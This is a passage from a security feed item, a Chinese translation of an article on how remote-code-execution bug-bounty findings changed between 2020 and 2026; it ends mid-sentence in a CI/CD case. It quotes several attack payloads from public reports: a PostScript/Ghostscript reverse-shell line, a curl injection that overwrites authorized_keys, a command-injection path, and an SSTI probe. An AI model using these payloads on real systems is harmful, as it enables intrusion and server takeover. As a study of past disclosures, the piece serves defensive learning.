<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>securitainment</title>
    <link>https://wechat2rss.xlab.app/feed/8dd9857e540441b90ee86986df74b5e1a96d2abb.xml</link>
    <description>Knowledge is power. 致力于为技术专家和安全爱好者提供安全分析、案例研究和最新安全动态。**所有文章仅限技术研究**&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (securitainment)</managingEditor>
    <pubDate>Fri, 14 Aug 2026 14:26:18 +0800</pubDate>
    <lastBuildDate>Fri, 14 Aug 2026 14:26:18 +0800</lastBuildDate>
    <image>
      <url>https://wx.qlogo.cn/mmhead/USH8Nb3Hz5RicpuhRIBLeWQ0jwGn1uYDUiabEko2BVhv8F8Ilrarr0vavNX6VFibFAliahgkc6uuGfM/0</url>
      <title>securitainment</title>
      <link>https://wechat2rss.xlab.app/feed/8dd9857e540441b90ee86986df74b5e1a96d2abb.xml</link>
    </image>
    <item>
      <title>2026 年的 RCE 已不同于 2020 年：当下真正重要的是什么</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496881&amp;idx=1&amp;sn=767d0074a52a13776ca8a5047d05faea</link>
      <description>RCE 的高价值攻击面已迁移至 CI/CD 供应链、框架模板引擎、基础设施工具、漏洞链与桌面客户端；2026 年的测试方法需要覆盖完整系统。</description>
      <content:encoded><![CDATA[<p><span>Abhishek</span> <span>2026-08-14 14:26</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=35f2506e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSg7NuOxCjp1FGUp1MMfpYSGNrS6rMJ2aCuPju4dDGkPSkwAmS7kxQosutxtia8ZrfdhziclH5IVYyLpqqN2J0icD9ORzX6vMNhqPE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>RCE 的高价值攻击面已迁移至 CI/CD 供应链、框架模板引擎、基础设施工具、漏洞链与桌面客户端；2026 年的测试方法需要覆盖完整系统。</p>
  <blockquote style="font-size: 16px; font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none; margin: 15px 0px; border-left: 4px solid rgb(223, 226, 229); padding: 0px 15px; color: rgb(106, 115, 125); font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif; background-color: rgb(255, 255, 255);"><strong><span leaf="">30 秒摘要：</span></strong><span leaf="">我比较了定义 2018-2021 年漏洞赏金领域的 RCE 报告，以及 2024-2026 年正在披露的案例。攻击面的规模保持不变，位置已发生迁移。文件上传绕过、直接命令注入和已知 CVE 利用仍然有效，当下影响最大的 RCE 来自 CI/CD 供应链、框架级模板引擎、curl 和 Tomcat 等基础设施工具、多步骤漏洞链，以及桌面应用中的客户端路径遍历。沿用旧 RCE 方法论会持续缩小测试覆盖的攻击面。</span></blockquote><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://medium.com/@Aacle/rce-in-2026-doesnt-look-like-rce-in-2020-here-s-what-actually-matters-now-fedb5bee2c86" target="_blank">https://medium.com/@Aacle/rce-in-2026-doesnt-look-like-rce-in-2020-here-s-what-actually-matters-now-fedb5bee2c86</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Abhishek meena</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为什么 2020 年的测试方法逐渐失效</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我从 2018-2021 年漏洞赏金时期的实践中学习 RCE 测试。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这套方法很直接。上传精心构造的图像，观察 ImageMagick 或 ExifTool 是否会处理它。在每个参数中尝试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">;id</span></code><span leaf="">。检查目标是否运行了存在已知漏洞的 Struts、Confluence 或 WebLogic 版本。发现 SQLi 后，尝试通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xp_cmdshell</span></code><span leaf="">或文件写入扩大影响。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些技术曾产生真实成果。Frans Rosen 上传了一个伪装成 JPG 的 PostScript 文件，该文件触发 ImageMagick 的 Ghostscript delegate，使他在 Shopify 的 Kit CRM 上获得 shell；随后，他从该 shell 中访问了 AWS 元数据凭据 (报告 422944)。Vakzz 通过搜索 API 参数向 git 命令注入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--output=</span></code><span leaf="">，覆盖了 GitLab 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">authorized_keys</span></code><span leaf="">，随后以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">git</span></code><span leaf="">用户身份通过 SSH 登录 (报告 658013，$12,000)。Alex Birsan 向公共 PyPI 注册表上传了名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">yelp-cgeom</span></code><span leaf="">的软件包；Yelp 的 CI 流水线下载并使用该软件包替代内部版本时，他在 Yelp 的构建服务器上实现了代码执行 (报告 946409)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些赏金金额为 </span><semantics><mrow><mn><span leaf="">10</span></mn><mi><span leaf="">K</span></mi><mo><span leaf="">−</span></mo></mrow></semantics><span leaf="">30K。它们定义了漏洞赏金领域中“发现 RCE”的含义。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随后，我查看了 2024 年、2025 年和 2026 年实际披露的案例。报告来自不同位置，技术也有所不同，攻击面已发生迁移。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">旧方法论依然有效，其覆盖的攻击面份额正在缩小。近期数据展示了当前 RCE 的主要分布位置，以及相应的测试方向。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2020 年的 RCE 是什么样子</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2018-2021 年的 RCE 测试方法包括四种主要手法。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">文件上传 → 图像处理库</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">ImageMagick、Ghostscript、ExifTool。上传精心构造的文件，服务器处理该文件，随后获得代码执行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Semrush 报告 (403417) 是一个教科书式案例。徽标上传端点将文件交由 ImageMagick 处理，且未禁用 PostScript 处理。一个包含 PostScript 并调用 Ghostscript </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">%pipe%</span></code><span leaf="">操作符的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.jpg</span></code><span leaf="">文件，使 Frans Rosen 获得了反向 shell：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%bash -c &#39;bash -i &gt;&amp; /dev/tcp/███/8080 0&gt;&amp;1&#39;) currentdevice putdeviceprops</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 GitLab 上，vakzz 发现 ExifTool 会解析 DjVu 元数据，并通过转义序列绕过使 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">eval</span></code><span leaf="">执行 Perl 代码 — 一个包含经构造 DjVu 注释的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.jpg</span></code><span leaf="">文件即可获得对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">gitlab.com</span></code><span leaf="">生产服务器的 shell 访问权限 (报告 1154542，$20,000)。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">直接命令注入</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">用户输入在未经清理的情况下被拼接到系统命令中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">GitLab 的搜索 API 接受 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ref</span></code><span leaf="">参数，并将其直接传递给 git 命令。在将某个 wiki 页面的提交消息设置为 SSH 公钥后，将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--output=/var/opt/gitlab/.ssh/authorized_keys</span></code><span leaf="">作为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ref</span></code><span leaf="">的值注入，即可获得服务器的 SSH 访问权限 (报告 658013，$12,000)。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">curl --header &#34;PRIVATE-TOKEN: $TOKEN&#34; \  &#39;<a href="http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&amp;search=page&amp;ref=--output=/var/opt/gitlab/.ssh/authorized_keys" target="_blank">http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&amp;search=page&amp;ref=--output=/var/opt/gitlab/.ssh/authorized_keys</a>&#39;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一份 GitLab 报告发现，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DecompressedArchiveSizeValidator</span></code><span leaf="">将攻击者控制的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">archive_path</span></code><span leaf="">作为 shell 字符串传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Open3.popen3</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/tmp/ggg;echo lala|tee /tmp/1234;#</span></code><span leaf="">这样的路径可实现任意命令执行 (报告 1609965，$33,510 — 数据集中最高的 RCE 赏金)。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">暴露服务中的已知 CVE</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">找到运行易受攻击版本的服务器，利用 CVE，获得 RCE。仅美国 DoD 项目就产生了数十个此类案例：CVE-2017-10271 (Oracle WebLogic)、CVE-2021-26084 (Confluence)、CVE-2020-5902 (F5 BIG-IP)。大范围、低针对性的自动化探测可以发现并利用这类漏洞。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SSTI → RCE</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">模板注入可升级为代码执行。Uber 通过个人资料名称字段触发的 Flask Jinja2 SSTI 是经典案例 — 个人资料名称中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">{{ &#39;7&#39;*7 }}</span></code><span leaf="">在电子邮件通知中被渲染为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">7777777</span></code><span leaf="">，证明模板发生求值，随后通过遍历 Python 类实现 RCE (报告 125980，$10,000)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些模式仍在产生漏洞。2024-2026 年的报告来源则呈现出新的方向。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">五项变化</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1. RCE 从 Web 端点迁移至 CI/CD 和供应链</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年影响最大的 RCE 位于构建和部署代码的流水线中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年 3 月，一名研究人员报告称，DuckDuckGo 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">privacy-configuration</span></code><span leaf="">仓库存在一个使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pull_request_target</span></code><span leaf="">的 GitHub Actions 工作流 — 该触发器以特权访问权限和敏感凭据运行。该工作流将 fork 的仓库作为基础分支和 PR 